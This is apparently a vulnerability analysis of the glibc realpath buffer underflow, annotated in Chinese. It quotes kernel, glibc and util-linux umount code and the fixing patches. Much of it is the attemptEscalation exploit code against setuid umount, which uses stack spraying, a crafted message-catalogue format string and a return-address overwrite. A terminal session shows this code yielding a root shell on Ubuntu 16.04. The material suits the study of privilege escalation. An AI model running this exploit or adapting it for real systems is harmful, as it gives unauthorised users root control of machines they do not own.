// fs/dcache.c
static int prepend_unreachable(char **buffer, int *buflen)
{
return prepend(buffer, buflen, "(unreachable)", 13);
}
static int prepend(char **buffer, int *buflen, const char *str, int namelen)
{
*buflen -= namelen;
if (*buflen < 0)
return -ENAMETOOLONG;
*buffer -= namelen;
memcpy(*buffer, str, namelen);
return 0;
}
/*
* NOTE! The user-level library version returns a
* character pointer. The kernel system call just
* returns the length of the buffer filled (which
* includes the ending '\0' character), or a negative
* error value. So libc would do something like
*
* char *getcwd(char * buf, size_t size)
* {
* int retval;
*
* retval = sys_getcwd(buf, size);
* if (retval >= 0)
* return buf;
* errno = -retval;
* return NULL;
* }
*/
SYSCALL_DEFINE2(getcwd, char __user *, buf, unsigned long, size)
{
int error;
struct path pwd, root;
char *page = __getname();
if (!page)
return -ENOMEM;
rcu_read_lock();
get_fs_root_and_pwd_rcu(current->fs, &root, &pwd);
error = -ENOENT;
if (!d_unlinked(pwd.dentry)) {
unsigned long len;
char *cwd = page + PATH_MAX;
int buflen = PATH_MAX;
prepend(&cwd, &buflen, "\0", 1);
error = prepend_path(&pwd, &root, &cwd, &buflen);
rcu_read_unlock();
if (error < 0)
goto out;
/* Unreachable from current root */
if (error > 0) {
error = prepend_unreachable(&cwd, &buflen); // 当路径不可到达时,添加前缀
if (error)
goto out;
}
error = -ERANGE;
len = PATH_MAX + page - cwd;
if (len <= size) {
error = len;
if (copy_to_user(buf, cwd, len))
error = -EFAULT;
}
} else {
rcu_read_unlock();
}
out:
__putname(page);
return error;
}
// stdlib/canonicalize.c
char *
__realpath (const char *name, char *resolved)
{
[...]
if (name[0] != '/') // 判断是否为绝对路径
{
if (!__getcwd (rpath, path_max)) // 调用 getcwd() 函数
{
rpath[0] = '\0';
goto error;
}
dest = __rawmemchr (rpath, '\0');
}
else
{
rpath[0] = '/';
dest = rpath + 1;
}
for (start = end = name; *start; start = end) // 每次循环处理路径中的一段
{
[...]
/* Find end of path component. */
for (end = start; *end && *end != '/'; ++end) // end 标记一段路径的末尾
/* Nothing. */;
if (end - start == 0)
break;
else if (end - start == 1 && start[0] == '.') // 当路径为 "." 的情况时
/* nothing */;
else if (end - start == 2 && start[0] == '.' && start[1] == '.') // 当路径为 ".." 的情况时
{
/* Back up to previous component, ignore if at root already. */
if (dest > rpath + 1)
while ((--dest)[-1] != '/'); // 回溯,如果 rpath 中没有 '/',发生下溢出
}
else // 路径组成中没有 "." 和 ".." 的情况时,复制 name 到 dest
{
size_t new_size;
if (dest[-1] != '/')
*dest++ = '/';
[...]
}
}
}
--- stdlib/canonicalize.c 2018-01-05 07:28:38.000000000 +0000
+++ stdlib/canonicalize.c 2018-01-05 14:06:22.000000000 +0000
@@ -91,6 +91,11 @@
goto error;
}
dest = __rawmemchr (rpath, '\0');
+/* If path is empty, kernel failed in some ugly way. Realpath
+has no error code for that, so die here. Otherwise search later
+on would cause an underrun when getcwd() returns an empty string.
+Thanks Willy Tarreau for pointing that out. */
+ assert (dest != rpath);
}
else
{
@@ -118,8 +123,17 @@
else if (end - start == 2 && start[0] == '.' && start[1] == '.')
{
/* Back up to previous component, ignore if at root already. */
- if (dest > rpath + 1)
- while ((--dest)[-1] != '/');
+ dest--;
+ while ((dest != rpath) && (*--dest != '/'));
+ if ((dest == rpath) && (*dest != '/') {
+ /* Return EACCES to stay compliant to current documentation:
+ "Read or search permission was denied for a component of the
+ path prefix." Unreachable root directories should not be
+ accessed, see https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/ */
+ __set_errno (EACCES);
+ goto error;
+ }
+ dest++;
}
else
{
$ git show 52a713fdd0a30e1bd79818e2e3c4ab44ddca1a94 sysdeps/unix/sysv/linux/getcwd.c | cat
diff --git a/sysdeps/unix/sysv/linux/getcwd.c b/sysdeps/unix/sysv/linux/getcwd.c
index f545106289..866b9d26d5 100644
--- a/sysdeps/unix/sysv/linux/getcwd.c
+++ b/sysdeps/unix/sysv/linux/getcwd.c
@@ -76,7 +76,7 @@ __getcwd (char *buf, size_t size)
int retval;
retval = INLINE_SYSCALL (getcwd, 2, path, alloc_size);
- if (retval >= 0)
+ if (retval > 0 && path[0] == '/')
{
#ifndef NO_ALLOCATION
if (buf == NULL && size == 0)
@@ -92,10 +92,10 @@ __getcwd (char *buf, size_t size)
return buf;
}
- /* The system call cannot handle paths longer than a page.
- Neither can the magic symlink in /proc/self. Just use the
+ /* The system call either cannot handle paths longer than a page
+ or can succeed without returning an absolute path. Just use the
generic implementation right away. */
- if (errno == ENAMETOOLONG)
+ if (retval >= 0 || errno == ENAMETOOLONG)
{
#ifndef NO_ALLOCATION
if (buf == NULL && size == 0)
$ sudo apt-get install dpkg-dev automake
$ sudo apt-get source util-linux
$ cd util-linux-2.27.1
$ ./configure
$ make && sudo make install
$ file /bin/umount
/bin/umount: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2104fb4e2c126b9ac812e611b291e034b3c361f2, not stripped
int attemptEscalation() {
[...]
pid_t childPid=fork();
if(!childPid) {
[...]
result=chdir(targetCwd); // 改变当前工作目录为 targetCwd
// Create so many environment variables for a kind of "stack spraying".
int envCount=UMOUNT_ENV_VAR_COUNT;
char **umountEnv=(char**)malloc((envCount+1)*sizeof(char*));
umountEnv[envCount--]=NULL;
umountEnv[envCount--]="LC_ALL=C.UTF-8";
while(envCount>=0) {
umountEnv[envCount--]="AANGUAGE=X.X"; // 喷射栈的上部
}
// Invoke umount first by overwriting heap downwards using links
// for "down", then retriggering another error message ("busy")
// with hopefully similar same stack layout for other path "/".
char* umountArgs[]={umountPathname, "/", "/", "/", "/", "/", "/", "/", "/", "/", "/", "down", "LABEL=78", "LABEL=789", "LABEL=789a", "LABEL=789ab", "LABEL=789abc", "LABEL=789abcd", "LABEL=789abcde", "LABEL=789abcdef", "LABEL=789abcdef0", "LABEL=789abcdef0", NULL};
result=execve(umountArgs[0], umountArgs, umountEnv);
}
[...]
int escalationPhase=0;
[...]
while(1) {
if(escalationPhase==2) { // 阶段 2 => case 3
result=waitForTriggerPipeOpen(secondPhaseTriggerPipePathname);
[...]
escalationPhase++;
}
// Wait at most 10 seconds for IO.
result=poll(pollFdList, 1, 10000);
[...]
// Perform the IO operations without blocking.
if(pollFdList[0].revents&(POLLIN|POLLHUP)) {
result=read(
pollFdList[0].fd, readBuffer+readDataLength,
sizeof(readBuffer)-readDataLength);
[...]
readDataLength+=result;
// Handle the data depending on escalation phase.
int moveLength=0;
switch(escalationPhase) {
case 0: // Initial sync: read A*8 preamble. // 阶段 0,读取我们精心构造的 util-linux.mo 文件中的格式化字符串。成功写入 8*'A' 的 preamble
[...]
char *preambleStart=memmem(readBuffer, readDataLength,
"AAAAAAAA", 8); // 查找内存,设置 preambleStart
[...]
// We found, what we are looking for. Start reading the stack.
escalationPhase++; // 阶段加 1 => case 1
moveLength=preambleStart-readBuffer+8;
case 1: // Read the stack. // 阶段 1,利用格式化字符串读出栈数据,计算出 libc 等有用的地址以对付 ASLR
// Consume stack data until or local array is full.
while(moveLength+16<=readDataLength) { // 读取栈数据直到装满
result=sscanf(readBuffer+moveLength, "%016lx",
(int*)(stackData+stackDataBytes));
[...]
moveLength+=sizeof(long)*2;
stackDataBytes+=sizeof(long);
// See if we reached end of stack dump already.
if(stackDataBytes==sizeof(stackData))
break;
}
if(stackDataBytes!=sizeof(stackData)) // 重复 case 1 直到此条件不成立,即所有数据已经读完
break;
// All data read, use it to prepare the content for the next phase.
fprintf(stderr, "Stack content received, calculating next phase\n");
int *exploitOffsets=(int*)osReleaseExploitData[3]; // 从读到的栈数据中获得各种有用的地址
// This is the address, where source Pointer is pointing to.
void *sourcePointerTarget=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARGV]];
// This is the stack address source for the target pointer.
void *sourcePointerLocation=sourcePointerTarget-0xd0;
void *targetPointerTarget=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARG0]];
// This is the stack address of the libc start function return
// pointer.
void *libcStartFunctionReturnAddressSource=sourcePointerLocation-0x10;
fprintf(stderr, "Found source address location %p pointing to target address %p with value %p, libc offset is %p\n",
sourcePointerLocation, sourcePointerTarget,
targetPointerTarget, libcStartFunctionReturnAddressSource);
// So the libcStartFunctionReturnAddressSource is the lowest address
// to manipulate, targetPointerTarget+...
void *libcStartFunctionAddress=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARGV]-2];
void *stackWriteData[]={
libcStartFunctionAddress+exploitOffsets[ED_LIBC_GETDATE_DELTA],
libcStartFunctionAddress+exploitOffsets[ED_LIBC_EXECL_DELTA]
};
fprintf(stderr, "Changing return address from %p to %p, %p\n",
libcStartFunctionAddress, stackWriteData[0],
stackWriteData[1]);
escalationPhase++; // 阶段加 1 => case 2
char *escalationString=(char*)malloc(1024); // 将下一阶段的格式化字符串写入到另一个 util-linux.mo 中
createStackWriteFormatString(
escalationString, 1024,
exploitOffsets[ED_STACK_OFFSET_ARGV]+1, // Stack position of argv pointer argument for fprintf
sourcePointerTarget, // Base value to write
exploitOffsets[ED_STACK_OFFSET_ARG0]+1, // Stack position of argv[0] pointer ...
libcStartFunctionReturnAddressSource,
(unsigned short*)stackWriteData,
sizeof(stackWriteData)/sizeof(unsigned short)
);
fprintf(stderr, "Using escalation string %s", escalationString);
result=writeMessageCatalogue(
secondPhaseCataloguePathname,
(char*[]){
"%s: mountpoint not found",
"%s: not mounted",
"%s: target is busy\n (In some cases useful info about processes that\n use the device is found by lsof(8) or fuser(1).)"
},
(char*[]){
escalationString,
"BBBB5678%3$s\n",
"BBBBABCD%s\n"},
3);
break;
case 2: // 阶段 2,修改了参数 “LANGUAGE”,从而触发了 util-linux.mo 的重新读入,然后将新的格式化字符串写入到另一个 util-linux.mo 中
case 3: // 阶段 3,读取 umount 的输出以避免阻塞进程,同时等待 ROP 执行 fchown/fchmod 修改权限和所有者,最后退出
// Wait for pipe connection and output any result from mount.
readDataLength=0;
break;
[...]
}
if(moveLength) {
memmove(readBuffer, readBuffer+moveLength, readDataLength-moveLength);
readDataLength-=moveLength;
}
}
}
attemptEscalationCleanup:
[...]
return(escalationSuccess);
}
/*
* Check path -- non-root user should not be able to resolve path which is
* unreadable for him.
*/
static char *sanitize_path(const char *path)
{
[...]
p = canonicalize_path_restricted(path); // 该函数会调用 realpath(),并返回绝对地址
[...]
return p;
}
int main(int argc, char **argv)
{
[...]
setlocale(LC_ALL, ""); // 设置 locale,LC_ALL 变量的值会覆盖掉 LANG 和所有 LC_* 变量的值
[...]
if (all) {
[...]
} else if (argc < 1) {
[...]
} else if (alltargets) {
[...]
} else if (recursive) {
[...]
} else {
while (argc--) {
char *path = *argv;
if (mnt_context_is_restricted(cxt)
&& !mnt_tag_is_valid(path))
path = sanitize_path(path); // 调用 sanitize_path 函数检查路径
rc += umount_one(cxt, path);
if (path != *argv)
free(path);
argv++;
}
}
mnt_free_context(cxt);
return (rc < 256) ? rc : 255;
}
$ gcc -g exp.c
$ id
uid=999(ubuntu) gid=999(ubuntu) groups=999(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$ ls -l a.out
-rwxrwxr-x 1 ubuntu ubuntu 44152 Feb 1 03:28 a.out
$ ./a.out
./a.out: setting up environment ...
Detected OS version: "16.04.3 LTS (Xenial Xerus)"
./a.out: using umount at "/bin/umount".
No pid supplied via command line, trying to create a namespace
CAVEAT: /proc/sys/kernel/unprivileged_userns_clone must be 1 on systems with USERNS protection.
Namespaced filesystem created with pid 7429
Attempting to gain root, try 1 of 10 ...
Starting subprocess
Stack content received, calculating next phase
Found source address location 0x7ffc3f7bb168 pointing to target address 0x7ffc3f7bb238 with value 0x7ffc3f7bd23f, libc offset is 0x7ffc3f7bb158
Changing return address from 0x7f24986c4830 to 0x7f2498763e00, 0x7f2498770a20
Using escalation string %69$hn%73$hn%1$2592.2592s%70$hn%1$13280.13280s%66$hn%1$16676.16676s%68$hn%72$hn%1$6482.6482s%67$hn%1$1.1s%71$hn%1$26505.26505s%1$45382.45382s%1$s%1$s%65$hn%1$s%1$s%1$s%1$s%1$s%1$s%1$186.186s%39$hn-%35$lx-%39$lx-%64$lx-%65$lx-%66$lx-%67$lx-%68$lx-%69$lx-%70$lx-%71$lx-%78$s
Executable now root-owned
Cleanup completed, re-invoking binary
/proc/self/exe: invoked as SUID, invoking shell ...
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),999(ubuntu)
# ls -l a.out
-rwsr-xr-x 1 root root 44152 Feb 1 03:28 a.out